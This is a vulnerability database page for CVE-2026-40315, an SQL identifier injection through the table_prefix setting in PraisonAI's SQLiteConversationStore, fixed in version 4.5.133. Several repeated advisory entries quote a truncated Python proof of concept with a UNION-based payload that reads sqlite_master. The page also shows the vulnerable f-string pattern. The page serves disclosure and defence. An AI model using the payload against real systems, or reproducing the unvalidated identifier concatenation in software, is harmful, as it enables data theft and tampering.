Every CVE Search/ Get API key

CVE-2026-40315

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

7.2 HighFix available

PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the table_prefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the table_prefix value (e.g., through from_yaml or from_dict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlite_master, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.30%Up 0.3 points since Apr 14, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the table_prefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the table_prefix value (e.g., through from_yaml or from_dict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlite_master, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133.

Record
CVE-2026-40315
CVSS 4.0
7.2 HighCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-89
Updated
2026-11-02
EUVDEUVD-2026-22215 7.2

PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the table_prefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the table_prefix value (e.g., through from_yaml or from_dict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlite_master, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133.

Record
EUVD-2026-22215
CVSS 4.0
7.2 HighCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-x783-xp3g-mqhp 6.9

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected =…
Record
GHSA-x783-xp3g-mqhp
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-89
Updated
2026-11-02
NVD 7.2

PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the table_prefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the table_prefix value (e.g., through from_yaml or from_dict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlite_master, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133.

Record
CVE-2026-40315
CVSS 4.0
7.2 HighCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
OSV 7.2

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the table_prefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the table_prefix value (e.g., through from_yaml or from_dict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlite_master, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133.

Record
CVE-2026-40315
CVSS 4.0
7.2 HighCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-89
Updated
2026-11-02
OSVGHSA-x783-xp3g-mqhp 6.9

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected =…
Record
GHSA-x783-xp3g-mqhp
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-89
Updated
2026-11-02
OSVPYSEC-2026-2925 6.9

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected =…
Record
PYSEC-2026-2925
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
praisonai
PyPI
before 4.5.133
4.5.133
praisonai
PyPI
before 4.5.133, plus listed versions
0.0.10.0.100.0.110.0.120.0.13
Show 45 moreShow less
0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55
4.5.133

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40315 is a high vulnerability (CVSS 7.2) in Mervinpraison Praisonai, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 22nd percentile. Fixed in praisonai 4.5.133.

References

This page doesn't list everything

Left out here: 640 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open